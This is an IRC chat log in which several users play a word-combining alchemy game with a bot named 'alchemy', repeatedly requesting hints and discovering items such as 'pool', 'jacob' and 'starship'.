[2014-12-31T18:59:44-0500] <alokpathy> @combine crops man
[2014-12-31T18:59:45-0500] <alchemy> crops and man don't make anything exciting.
[2014-12-31T18:59:49-0500] <alokpathy> @combine crops tool
[2014-12-31T18:59:50-0500] <alchemy> crops and tool don't make anything exciting.
[2014-12-31T18:59:54-0500] <Tamini_> how do i make food
[2014-12-31T18:59:55-0500] <Tamini_> :<
[2014-12-31T19:00:18-0500] <alokpathy> Uhh
[2014-12-31T19:00:23-0500] <alokpathy> little bit of cinnamon 
[2014-12-31T19:00:27-0500] <alokpathy> a stove
[2014-12-31T19:00:33-0500] <alokpathy> wooden spoon
[2014-12-31T19:00:39-0500] <alokpathy> @possible cinnamon
[2014-12-31T19:00:40-0500] <alchemy> No, you can't make cinnamon.
[2014-12-31T19:00:42-0500] <alokpathy> @possible stove
[2014-12-31T19:00:43-0500] <alchemy> No, you can't make stove.
[2014-12-31T19:00:48-0500] <alokpathy> @possible wooden_spoon
[2014-12-31T19:00:49-0500] <alchemy> No, you can't make wooden_spoon.
[2014-12-31T19:00:53-0500] <alokpathy> Well I'm out of ideas.
[2014-12-31T19:01:38-0500] <Tamini_> @hint
[2014-12-31T19:01:39-0500] <alchemy> Hint: It's possible to make plant with energy!
[2014-12-31T19:01:40-0500] <Tamini_> and lol
[2014-12-31T19:01:47-0500] <Tamini_> wait is hint chance up?
[2014-12-31T19:01:49-0500] <Tamini_> @hint
[2014-12-31T19:01:49-0500] <alchemy> Hint: It's possible to make dubstep with music!
[2014-12-31T19:01:52-0500] <Tamini_> LOL
[2014-12-31T19:02:06-0500] <Tamini_> @hint
[2014-12-31T19:02:07-0500] <alchemy> Nope.
[2014-12-31T19:02:09-0500] <Tamini_> @hint
[2014-12-31T19:02:10-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:02:13-0500] <Tamini_> also lol dubstep
[2014-12-31T19:02:15-0500] <Tamini_> @hint
[2014-12-31T19:02:16-0500] <alchemy> Hint: It's possible to make limerick with paper!
[2014-12-31T19:02:21-0500] <Tamini_> @hint
[2014-12-31T19:02:22-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:02:25-0500] <Tamini_> @hint
[2014-12-31T19:02:26-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:02:28-0500] <Tamini_> @hint
[2014-12-31T19:02:29-0500] <alchemy> Not on your life.
[2014-12-31T19:03:06-0500] <+JacobEdelman> ...
[2014-12-31T19:03:10-0500] <+JacobEdelman> bot?
[2014-12-31T19:03:19-0500] <+JacobEdelman> you wanna chester-bot to help?
[2014-12-31T19:03:28-0500] <Tamini_> no its ok
[2014-12-31T19:03:32-0500] <Tamini_> @hint
[2014-12-31T19:03:33-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:03:33-0500] <+JacobEdelman> ahhh
[2014-12-31T19:03:35-0500] <Tamini_> @hint
[2014-12-31T19:03:36-0500] <alchemy> Not this time!
[2014-12-31T19:03:36-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:37-0500] <alchemy> Nope.
[2014-12-31T19:03:37-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:37-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:38-0500] <alchemy> Nope.
[2014-12-31T19:03:39-0500] <alchemy> Not on your life.
[2014-12-31T19:03:39-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:39-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:40-0500] <Tamini_> @hint
[2014-12-31T19:03:40-0500] <alchemy> Not on your life.
[2014-12-31T19:03:41-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:41-0500] <alchemy> Not this time!
[2014-12-31T19:03:41-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:42-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:42-0500] <alchemy> No can do, buddy.
[2014-12-31T19:03:43-0500] <alchemy> Hint: It's possible to make nexorg with man!
[2014-12-31T19:03:43-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:44-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:44-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:03:44-0500] <Tamini_> LOL
[2014-12-31T19:03:44-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:45-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:45-0500] <alchemy> Hint: It's possible to make ashley with genius!
[2014-12-31T19:03:45-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:46-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:03:46-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:46-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:47-0500] <alchemy> Not on your life.
[2014-12-31T19:03:48-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:49-0500] <alchemy> Not this time!
[2014-12-31T19:03:49-0500] <+JacobEdelman> @hint
[2014-12-31T19:03:50-0500] <Tamini_> WAIT
[2014-12-31T19:03:50-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:03:51-0500] <alchemy> Hint: It's possible to make boat with engine!
[2014-12-31T19:03:52-0500] <alchemy> Not on your life.
[2014-12-31T19:03:53-0500] <alchemy> Hint: It's possible to make meatball with genius!
[2014-12-31T19:03:53-0500] <Tamini_> WAIT WAIT WAIT
[2014-12-31T19:03:54-0500] <+JacobEdelman> hah
[2014-12-31T19:03:54-0500] <alchemy> Hint: It's possible to make steam with water!
[2014-12-31T19:03:55-0500] <alchemy> Not this time!
[2014-12-31T19:03:58-0500] <+JacobEdelman> ashley with genius
[2014-12-31T19:04:00-0500] <+JacobEdelman> true dat
[2014-12-31T19:04:01-0500] <Tamini_> ^
[2014-12-31T19:04:04-0500] <+JacobEdelman> also
[2014-12-31T19:04:05-0500] <Tamini_> hardmath123: <3
[2014-12-31T19:04:08-0500] <Tamini_> bb
[2014-12-31T19:04:09-0500] <+JacobEdelman> meatball with genius
[2014-12-31T19:04:13-0500] <+JacobEdelman> @hint
[2014-12-31T19:04:14-0500] <alchemy> Hint: It's possible to make jacob with robot!
[2014-12-31T19:04:14-0500] <+JacobEdelman> @hint
[2014-12-31T19:04:14-0500] <Tamini_> how do you make genius
[2014-12-31T19:04:15-0500] <alchemy> Not this time!
[2014-12-31T19:04:17-0500] <+JacobEdelman> ww
[2014-12-31T19:04:17-0500] <Tamini_> @combine man light
[2014-12-31T19:04:19-0500] <alchemy> man and light don't make anything exciting.
[2014-12-31T19:04:20-0500] <+JacobEdelman> wow
[2014-12-31T19:04:22-0500] <+JacobEdelman> I get robot
[2014-12-31T19:04:24-0500] <+JacobEdelman> hmmm
[2014-12-31T19:04:25-0500] <Tamini_> LOL
[2014-12-31T19:04:27-0500] <+JacobEdelman> @list
[2014-12-31T19:04:28-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:04:28-0500] <alchemy> You have: hal, hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant
[2014-12-31T19:04:28-0500] <alchemy> You have: puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree
[2014-12-31T19:04:28-0500] <alchemy> You have: tsunami, villain, water, whitehat, wind
[2014-12-31T19:04:28-0500] <alchemy> That's 65 out of 123!
[2014-12-31T19:04:31-0500] <Tamini_> @combine python robot
[2014-12-31T19:04:32-0500] <alchemy> python and robot don't make anything exciting.
[2014-12-31T19:04:36-0500] <Tamini_> @combine genius robot
[2014-12-31T19:04:37-0500] <alchemy> You don't have genius!
[2014-12-31T19:04:38-0500] <Tamini_> :P
[2014-12-31T19:04:38-0500] <+JacobEdelman> @combine rainbow robot
[2014-12-31T19:04:40-0500] <alchemy> rainbow and robot don't make anything exciting.
[2014-12-31T19:04:45-0500] <+JacobEdelman> I should be rainbow robot
[2014-12-31T19:04:46-0500] <Tamini_> @combine man rainbow
[2014-12-31T19:04:47-0500] <alchemy> man and rainbow don't make anything exciting.
[2014-12-31T19:04:48-0500] <Tamini_> heh
[2014-12-31T19:05:08-0500] <+JacobEdelman> @combine sentience internet
[2014-12-31T19:05:09-0500] <alchemy> sentience and internet don't make anything exciting.
[2014-12-31T19:05:16-0500] <+JacobEdelman> should be skynet
[2014-12-31T19:05:20-0500] <Tamini_> @combine man sentience
[2014-12-31T19:05:20-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:20-0500] <alchemy> You already combined man and sentience to get evil.
[2014-12-31T19:05:21-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:21-0500] <alchemy> Not this time!
[2014-12-31T19:05:21-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:22-0500] <alchemy> Not on your life.
[2014-12-31T19:05:22-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:23-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:23-0500] <alchemy> Hint: It's possible to make pool with hole!
[2014-12-31T19:05:24-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:24-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:05:24-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:25-0500] <alchemy> No can do, buddy.
[2014-12-31T19:05:26-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:26-0500] <alchemy> Not this time!
[2014-12-31T19:05:27-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:27-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:05:28-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:05:29-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:05:31-0500] <Tamini_> @combine hole water
[2014-12-31T19:05:32-0500] <alchemy> You just discovered pool (hole + water)!
[2014-12-31T19:05:35-0500] <Tamini_> i made a poool
[2014-12-31T19:05:37-0500] <+JacobEdelman> I was gonna do that
[2014-12-31T19:05:39-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:39-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:40-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:40-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:05:41-0500] <alchemy> Hint: It's possible to make bach with music!
[2014-12-31T19:05:41-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:42-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:42-0500] <alchemy> Hint: It's possible to make bug with foss!
[2014-12-31T19:05:42-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:43-0500] <alchemy> No can do, buddy.
[2014-12-31T19:05:44-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:05:45-0500] <alchemy> No can do, buddy.
[2014-12-31T19:05:51-0500] <+JacobEdelman> music+ genuis= bach I guess
[2014-12-31T19:05:53-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:54-0500] <alchemy> No can do, buddy.
[2014-12-31T19:05:54-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:55-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:05:55-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:56-0500] <alchemy> Nope.
[2014-12-31T19:05:57-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:58-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:58-0500] <alchemy> Not this time!
[2014-12-31T19:05:58-0500] <+JacobEdelman> @hint
[2014-12-31T19:05:59-0500] <alchemy> Not this time!
[2014-12-31T19:05:59-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:00-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:06:00-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:01-0500] <alchemy> Hint: It's possible to make beatles with genius!
[2014-12-31T19:06:02-0500] <alchemy> Not this time!
[2014-12-31T19:06:05-0500] <+JacobEdelman> wait
[2014-12-31T19:06:21-0500] <+JacobEdelman> music + genius = beatles?
[2014-12-31T19:06:23-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:24-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:24-0500] <alchemy> Hint: It's possible to make energy with fire!
[2014-12-31T19:06:24-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:25-0500] <alchemy> No can do, buddy.
[2014-12-31T19:06:26-0500] <alchemy> Hint: It's possible to make nexorg with man!
[2014-12-31T19:06:26-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:27-0500] <alchemy> Nope.
[2014-12-31T19:06:28-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:29-0500] <alchemy> Not on your life.
[2014-12-31T19:06:30-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:31-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:06:32-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:32-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:06:33-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:34-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:34-0500] <alchemy> Not this time!
[2014-12-31T19:06:35-0500] <+JacobEdelman> @hint
[2014-12-31T19:06:35-0500] <alchemy> Hint: It's possible to make pidgey with evil!
[2014-12-31T19:06:36-0500] <alchemy> Not on your life.
[2014-12-31T19:06:39-0500] <+JacobEdelman> wow
[2014-12-31T19:06:43-0500] <+JacobEdelman> pidgey here I come
[2014-12-31T19:06:44-0500] <alokpathy> [goes for 6 minutes]
[2014-12-31T19:06:47-0500] <+JacobEdelman> @combine evil robot
[2014-12-31T19:06:48-0500] <alchemy> You just discovered jacob (evil + robot)!
[2014-12-31T19:06:50-0500] <alokpathy> [165 unread messages]
[2014-12-31T19:06:50-0500] <Tamini_> what
[2014-12-31T19:06:51-0500] <+JacobEdelman> ...
[2014-12-31T19:06:53-0500] <+JacobEdelman> wow
[2014-12-31T19:06:53-0500] <alokpathy> LOL
[2014-12-31T19:06:55-0500] <Tamini_> pidgey is evil
[2014-12-31T19:06:57-0500] <alokpathy> @list
[2014-12-31T19:06:57-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:06:57-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:06:57-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool
[2014-12-31T19:06:57-0500] <alchemy> You have: tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T19:06:57-0500] <alchemy> That's 67 out of 123!
[2014-12-31T19:06:58-0500] <Tamini_> LOL WHAT
[2014-12-31T19:06:58-0500] <+JacobEdelman> I got jacob!
[2014-12-31T19:07:04-0500] <+JacobEdelman> I GOTS JACOB!
[2014-12-31T19:07:05-0500] <Tamini_> jacob is a evil robot
[2014-12-31T19:07:14-0500] <Tamini_> @combine jacob alok
[2014-12-31T19:07:15-0500] <alchemy> jacob and alok don't make anything exciting.
[2014-12-31T19:07:20-0500] <Tamini_> @combine jacob aaron
[2014-12-31T19:07:20-0500] <alchemy> jacob and aaron don't make anything exciting.
[2014-12-31T19:07:26-0500] <+JacobEdelman> @combine jacob jacob
[2014-12-31T19:07:27-0500] <alchemy> jacob and jacob don't make anything exciting.
[2014-12-31T19:07:33-0500] <Tamini_> @combile evil pdgn
[2014-12-31T19:07:37-0500] <Tamini_> @combine evil rust
[2014-12-31T19:07:38-0500] <alchemy> evil and rust don't make anything exciting.
[2014-12-31T19:07:38-0500] <alokpathy> @combine evil pdgn
[2014-12-31T19:07:39-0500] <alchemy> evil and pdgn don't make anything exciting.
[2014-12-31T19:07:42-0500] <Tamini_> :(
[2014-12-31T19:07:44-0500] <Tamini_> pdgy is ecil
[2014-12-31T19:07:47-0500] <Tamini_> evil*
[2014-12-31T19:07:49-0500] <alokpathy> So, Jacob's an evil robot.
[2014-12-31T19:08:00-0500] <+JacobEdelman> no duh
[2014-12-31T19:08:03-0500] <alokpathy> Weiss is a rusty man
[2014-12-31T19:08:05-0500] <+JacobEdelman> @combine evil man
[2014-12-31T19:08:06-0500] <alchemy> You already combined evil and man to get villain.
[2014-12-31T19:08:14-0500] <+JacobEdelman> @combine evil python
[2014-12-31T19:08:15-0500] <alchemy> You just discovered whitespace (evil + python)!
[2014-12-31T19:08:15-0500] <alokpathy> and I'm a pdgn hacker
[2014-12-31T19:08:20-0500] <alokpathy> What about Tamini_ ?
[2014-12-31T19:08:22-0500] <alokpathy> LOL
[2014-12-31T19:08:27-0500] <Tamini_> im a genius something
[2014-12-31T19:08:28-0500] <Tamini_> also LOL
[2014-12-31T19:08:29-0500] <+JacobEdelman> I Tamini involves genius
[2014-12-31T19:08:33-0500] <+JacobEdelman> we got that from hints
[2014-12-31T19:08:38-0500] <Tamini_> whitespace
[2014-12-31T19:08:40-0500] <alokpathy> lololol
[2014-12-31T19:08:48-0500] <+JacobEdelman> @combine whitespace jacob
[2014-12-31T19:08:49-0500] <alchemy> whitespace and jacob don't make anything exciting.
[2014-12-31T19:08:58-0500] <alokpathy> @combine whitespace paper
[2014-12-31T19:08:59-0500] <alchemy> whitespace and paper don't make anything exciting.
[2014-12-31T19:09:08-0500] <alokpathy> hardmath123: Did you implement the count feature?
[2014-12-31T19:09:11-0500] <alokpathy> @list
[2014-12-31T19:09:12-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:09:12-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:09:12-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool
[2014-12-31T19:09:12-0500] <alchemy> You have: tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:09:12-0500] <alchemy> That's 68 out of 123!
[2014-12-31T19:09:33-0500] <+JacobEdelman> @combine python robot
[2014-12-31T19:09:34-0500] <alchemy> python and robot don't make anything exciting.
[2014-12-31T19:09:35-0500] <alokpathy> @combine whitespace aaron
[2014-12-31T19:09:36-0500] <alchemy> whitespace and aaron don't make anything exciting.
[2014-12-31T19:09:44-0500] <+JacobEdelman> @hint
[2014-12-31T19:09:44-0500] <Tamini_> yeah can we have count without list
[2014-12-31T19:09:44-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:09:45-0500] <+JacobEdelman> @hint
[2014-12-31T19:09:45-0500] <+JacobEdelman> @hint
[2014-12-31T19:09:46-0500] <alchemy> Not this time!
[2014-12-31T19:09:46-0500] <+JacobEdelman> @hint
[2014-12-31T19:09:46-0500] <Tamini_> so much floor
[2014-12-31T19:09:47-0500] <+JacobEdelman> @hint
[2014-12-31T19:09:47-0500] <alchemy> No can do, buddy.
[2014-12-31T19:09:48-0500] <alchemy> Not this time!
[2014-12-31T19:09:48-0500] <+JacobEdelman> @hint
[2014-12-31T19:09:49-0500] <Tamini_> flood*
[2014-12-31T19:09:49-0500] <+JacobEdelman> @hint
[2014-12-31T19:09:50-0500] <+JacobEdelman> @hint
[2014-12-31T19:09:50-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:09:51-0500] <alchemy> Hint: It's possible to make boat with engine!
[2014-12-31T19:09:52-0500] <Tamini_> @hint
[2014-12-31T19:09:53-0500] <alchemy> Not this time!
[2014-12-31T19:09:54-0500] <alchemy> Hint: It's possible to make soil with earth!
[2014-12-31T19:09:54-0500] <Tamini_> @hint
[2014-12-31T19:09:55-0500] <alchemy> Not on your life.
[2014-12-31T19:09:56-0500] <alchemy> Hint: It's possible to make einstein with genius!
[2014-12-31T19:09:57-0500] <Tamini_> @hint
[2014-12-31T19:09:57-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:10:01-0500] <Tamini_> oh uh
[2014-12-31T19:10:05-0500] <+JacobEdelman> we really really need genius
[2014-12-31T19:10:06-0500] <Tamini_> alok: we can make food from crops
[2014-12-31T19:10:07-0500] <Tamini_> help
[2014-12-31T19:10:13-0500] <+JacobEdelman> @combine sentience sentience
[2014-12-31T19:10:13-0500] <alchemy> sentience and sentience don't make anything exciting.
[2014-12-31T19:10:20-0500] <+JacobEdelman> @combine aaron aaron
[2014-12-31T19:10:20-0500] <alchemy> aaron and aaron don't make anything exciting.
[2014-12-31T19:10:37-0500] <alokpathy> Tamini_: We have crops?
[2014-12-31T19:10:37-0500] <alokpathy> @list
[2014-12-31T19:10:38-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:10:38-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:10:38-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool
[2014-12-31T19:10:38-0500] <alchemy> You have: tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:10:38-0500] <alchemy> That's 68 out of 123!
[2014-12-31T19:10:39-0500] <+JacobEdelman> @combine hacker hacker
[2014-12-31T19:10:39-0500] <alchemy> hacker and hacker don't make anything exciting.
[2014-12-31T19:10:43-0500] <alokpathy> We have crops.
[2014-12-31T19:10:44-0500] <alokpathy> Wow.
[2014-12-31T19:10:46-0500] <alokpathy> I missed a lot.
[2014-12-31T19:10:49-0500] <alokpathy> 68
[2014-12-31T19:10:57-0500] <+JacobEdelman> @combine crops hacker
[2014-12-31T19:10:57-0500] <alchemy> crops and hacker don't make anything exciting.
[2014-12-31T19:11:06-0500] <alokpathy> Is it crops + something_we_have?
[2014-12-31T19:11:13-0500] <alokpathy> or do we not know?
[2014-12-31T19:11:15-0500] <Tamini_> did you just
[2014-12-31T19:11:20-0500] <Tamini_> ask alchemy a question
[2014-12-31T19:11:21-0500] <Tamini_> oh LOL
[2014-12-31T19:11:25-0500] <Tamini_> i was like "uh"
[2014-12-31T19:11:25-0500] <+JacobEdelman> we have no idea about genius
[2014-12-31T19:11:29-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:30-0500] <alchemy> No can do, buddy.
[2014-12-31T19:11:31-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:31-0500] <alchemy> Not on your life.
[2014-12-31T19:11:31-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:32-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:32-0500] <alchemy> Nope.
[2014-12-31T19:11:33-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:33-0500] <alchemy> Hint: It's possible to make pdgn with friendship!
[2014-12-31T19:11:34-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:34-0500] <alokpathy> Tamini_: I asked you LOL
[2014-12-31T19:11:34-0500] <alchemy> Not on your life.
[2014-12-31T19:11:35-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:11:37-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:37-0500] <alchemy> Hint: It's possible to make aaron with man!
[2014-12-31T19:11:39-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:40-0500] <alokpathy> alchemy: Thanks alchemy.
[2014-12-31T19:11:40-0500] <alchemy> Hint: It's possible to make soil with rain!
[2014-12-31T19:11:43-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:43-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:11:51-0500] <alokpathy> alchemy: Outstanding hints.
[2014-12-31T19:11:51-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:52-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:11:52-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:53-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:53-0500] <alchemy> Hint: It's possible to make starship with energy!
[2014-12-31T19:11:54-0500] <alokpathy> Well, some were.
[2014-12-31T19:11:54-0500] <+JacobEdelman> @hint
[2014-12-31T19:11:54-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:11:56-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:11:57-0500] <+JacobEdelman> oooh
[2014-12-31T19:11:58-0500] <alokpathy> WOAH
[2014-12-31T19:12:00-0500] <alokpathy> STARHSHIP
[2014-12-31T19:12:02-0500] <+JacobEdelman> @combine energy ship
[2014-12-31T19:12:02-0500] <alchemy> You just discovered starship (energy + ship)!
[2014-12-31T19:12:03-0500] <alokpathy> ENERGY
[2014-12-31T19:12:06-0500] <+JacobEdelman> gotcha!
[2014-12-31T19:12:08-0500] <alokpathy> I sear
[2014-12-31T19:12:10-0500] <alokpathy> swear*
[2014-12-31T19:12:11-0500] <alokpathy> I tried that
[2014-12-31T19:12:12-0500] <alokpathy> oaonhglagjki
[2014-12-31T19:12:12-0500] <Tamini_> whoaa
[2014-12-31T19:12:16-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:16-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:16-0500] <alchemy> Not on your life.
[2014-12-31T19:12:17-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:17-0500] <alchemy> Hint: It's possible to make megamind with evil!
[2014-12-31T19:12:17-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:18-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:18-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:12:19-0500] <alchemy> Nope.
[2014-12-31T19:12:20-0500] <alokpathy> Hmm
[2014-12-31T19:12:20-0500] <alchemy> Nope.
[2014-12-31T19:12:25-0500] <alokpathy> @combine evil man
[2014-12-31T19:12:25-0500] <alchemy> You already combined evil and man to get villain.
[2014-12-31T19:12:27-0500] <+JacobEdelman> genius + evil = megamind I guess
[2014-12-31T19:12:27-0500] <alokpathy> Wait, no
[2014-12-31T19:12:29-0500] <Tamini_> evil genius
[2014-12-31T19:12:30-0500] <Tamini_> yea
[2014-12-31T19:12:33-0500] <alokpathy> Probably, yeah.
[2014-12-31T19:12:33-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:34-0500] <Tamini_> we need to find genius
[2014-12-31T19:12:34-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:34-0500] <alchemy> No can do, buddy.
[2014-12-31T19:12:35-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:36-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:36-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:36-0500] <alchemy> No can do, buddy.
[2014-12-31T19:12:37-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:37-0500] <alokpathy> Darn how do we get genius.
[2014-12-31T19:12:37-0500] <alchemy> Hint: It's possible to make rust with metal!
[2014-12-31T19:12:38-0500] <alchemy> No can do, buddy.
[2014-12-31T19:12:39-0500] <alchemy> Hint: It's possible to make ocean with water!
[2014-12-31T19:12:39-0500] <alokpathy> @list
[2014-12-31T19:12:40-0500] <Tamini_> i meed to find myself
[2014-12-31T19:12:40-0500] <alchemy> Nope.
[2014-12-31T19:12:42-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:42-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:12:42-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:12:43-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:12:43-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:12:43-0500] <alchemy> That's 69 out of 123!
[2014-12-31T19:12:44-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:12:46-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:46-0500] <alchemy> Hint: It's possible to make knight with man!
[2014-12-31T19:12:47-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:47-0500] <alchemy> Nope.
[2014-12-31T19:12:47-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:48-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:48-0500] <alchemy> Not on your life.
[2014-12-31T19:12:49-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:49-0500] <alchemy> Hint: It's possible to make jacob with robot!
[2014-12-31T19:12:50-0500] <alchemy> Not on your life.
[2014-12-31T19:12:54-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:54-0500] <alchemy> Nope.
[2014-12-31T19:12:55-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:55-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:55-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:12:56-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:56-0500] <alchemy> No can do, buddy.
[2014-12-31T19:12:56-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:57-0500] <+JacobEdelman> @hint
[2014-12-31T19:12:57-0500] <alchemy> Hint: It's possible to make tex with knuth!
[2014-12-31T19:12:58-0500] <+JacobEdelman> @hint
